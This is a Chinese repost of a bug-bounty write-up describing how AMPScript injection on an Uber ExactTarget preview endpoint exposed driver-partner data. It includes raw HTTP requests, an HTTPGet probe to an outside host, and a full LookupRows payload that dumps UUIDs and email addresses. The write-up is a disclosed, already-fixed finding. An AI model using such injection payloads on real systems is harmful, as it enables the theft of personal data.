利用AMPScript獲取Uber用戶數據的訪問權限

文章轉載自:先知平臺https://xz.aliyun.com/t/3866


原文鏈接:https://blog.assetnote.io/bug-bounty/2019/01/14/gaining-access-to-ubers-user-data-through-ampscript-evaluation/

現代項目開發和資產管理方法正在不停地快速變化。在這場創新和擴張的競賽中,新資產被迅速部署並暴露於公共互聯網,已有資產也在不斷髮展。

要跟上這個不斷變化的攻擊面是很難的,更不用說保護這些應用程序和系統了。傳統的基於時間點和靜態的安全措施根本無法奏效,在這種動態環境中主動管理威脅似乎是一項不可能完成的任務。

解決這個問題的唯一方法是持續化的安全評估和資產感知。我們在用持續安全平臺(Continuous Security Platform)監控大型攻擊面時,經常發現由資產結構變更導致的新的或未發現的漏洞。

這就是我們的Assetnote持續安全平臺在Uber漏洞賞金計劃的一個子域名下發現的情況:exacttarget-web-hook.uber.com

很長一段時間,子域名返回的是一個由Express.js Web服務器生成的普通且無聊的“Not Found”錯誤。
突然有一天,子域名返回了一個像是Uber消息個性化系統的內部測試響應:

pic1

Assetnote CS在https://exacttarget-web-hook.uber.com/上發現的表單

乍一看,該應用程序看起來像一個用於測試文本消息的API控制檯,該消息包含用戶的個性化設置。

我們嘗試根據提供的“測試contractKey”來利用API控制檯,但失敗了。經過一番調查後,我們斷定這是因爲contactKey參數必須是經過身份驗證的帳戶的UUID,而不是API控制檯頁面上提供的UUID。在登錄後,我們從https://riders.uber.com/profile的HTML源碼中提取到了UUID。

在使用正確的Uber帳戶的UUID填入contactKey參數後,我們能夠發送API請求到preview接口:

GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: */*
DNT: 1
Referer: https://exacttarget-web-hook.uber.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

本文前面所示的截圖正是API控制檯中preview接口返回的“消息”:

%%[
SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)
]%%
Hi there I'm %%=v(@firstName)=%% and I created this tool.

通過調查語法並聯想到子域名爲exacttarget-web-hook,我們意識到上面的代碼實際上是AMPScript。

Salesforce的Marketing Cloud發明了AMPScript腳本語言,它可以嵌入到HTML郵件、文本郵件、登錄頁面和SMS消息中,以控制展示給個人消費者的內容。 AMPScript由ExactTarget開發,在2013年被Salesforce收購。

一開始使用API控制檯中提供的示例AMPScript失敗了,於是我們開始全面評估AMPScript的可用性。我們很快發現HTTPGet函數可以發送HTTP GET請求並得到響應內容:

pic2

運行AMPScript的查詢語句:%%=HTTPGet(‘https://ipinfo.io’)=%%

很好!我們能夠利用任意的AMPScript!但是,我們通過HTTPGet函數發起的請求並非Uber服務器產生的,如上圖所示,它來自AS22606 ExactTarget,Inc。

爲了演示該漏洞的影響,我們從名叫driver_partners的數據擴展中提取了用戶數據。數據擴展是一種可以用AMPScript數據擴展函數訪問的數據庫表。

通過閱讀有關LookupRows函數的AMPScript文檔,我們可以寫一個這樣的AMPScript腳本:

  • 在driver_partners數據擴展中搜索所有firstname等於Shubs的行。
  • 將查詢結果存儲到數組中。
  • 迭代訪問數組並打印值。

最終的AMPScript如下:

%%[
SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')
SET @rCount = RowCount(@prefArray)
FOR @i = 1 TO @rCount DO
        SET @Row = Row(@prefArray, @i)
        SET @ID = Field(@Row, 1)
        SET @UUID = Field(@Row, 2)
        SET @joinDate = Field(@Row, 3)
        SET @email = Field(@Row, 4)
        SET @firstName = Field(@Row, 5)
]%%
        %%=V(@UUID)=%%
        %%=V(@joinDate)=%%
        %%=V(@email)=%%
        %%=V(@firstName)=%%
%%[
NEXT @i
]%%

當此AMPScript發送請求到preview接口後,響應中包含UUID、註冊日期、郵箱地址以及名爲Shubs的所有用戶的名字。

對preview接口的HTTP請求如下:

GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=%25%25%5b%0d%0a%53%45%54%20%40%70%72%65%66%41%72%72%61%79%20%3d%20%4c%6f%6f%6b%75%70%52%6f%77%73%28%27%64%72%69%76%65%72%5f%70%61%72%74%6e%65%72%73%27%2c%20%27%66%69%72%73%74%6e%61%6d%65%27%2c%20%27%53%68%75%62%73%27%29%0d%0a%53%45%54%20%40%72%43%6f%75%6e%74%20%3d%20%52%6f%77%43%6f%75%6e%74%28%40%70%72%65%66%41%72%72%61%79%29%0d%0a%46%4f%52%20%40%69%20%3d%20%31%20%54%4f%20%40%72%43%6f%75%6e%74%20%44%4f%0d%0a%09%53%45%54%20%40%52%6f%77%20%3d%20%52%6f%77%28%40%70%72%65%66%41%72%72%61%79%2c%20%40%69%29%0d%0a%09%53%45%54%20%40%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%29%0d%0a%09%53%45%54%20%40%55%55%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%32%29%0d%0a%09%53%45%54%20%40%6a%6f%69%6e%44%61%74%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%33%29%0d%0a%09%53%45%54%20%40%65%6d%61%69%6c%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%34%29%0d%0a%09%53%45%54%20%40%66%69%72%73%74%4e%61%6d%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%35%29%0d%0a%09%53%45%54%20%40%75%6e%6b%6e%6f%77%6e%31%30%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%30%29%0d%0a%5d%25%25%0d%0a%09%25%25%3d%56%28%40%55%55%49%44%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%6a%6f%69%6e%44%61%74%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%65%6d%61%69%6c%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%66%69%72%73%74%4e%61%6d%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%75%6e%6b%6e%6f%77%6e%31%30%29%3d%25%25%0d%0a%25%25%5b%0d%0a%4e%45%58%54%20%40%69%0d%0a%5d%25%25&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: */*
DNT: 1
Referer: https://exacttarget-web-hook.uber.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

響應(UUID和郵箱地址已打碼):

pic3

Uber返回的所有用戶名叫‘Shubs’的數據

如上所示,返回了許多名爲Shubs的用戶的詳細信息(我已修改截圖僅展示測試帳戶)。攻擊者可以編寫AMPScript來提取大量的數據,或者搜索Uber數據中名叫XXX的特定人,並提取他們的UUID和電子郵件地址。

這漏洞發現於2017年11月13日。它於11月15日修復,並於12月28日發獎。

作爲HackerOne的Hack the World活動的一部分,我們獲得了20,000美元的獎金,並被選爲“最具影響力的報告獎”。所有報酬爲23,000美元。

謝謝Uber和HackerOne!針對這一問題和Uber安全團隊合作得很愉快。

如果您對組織的Assetnote持續安全平臺的demo感興趣,請在此處申請。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章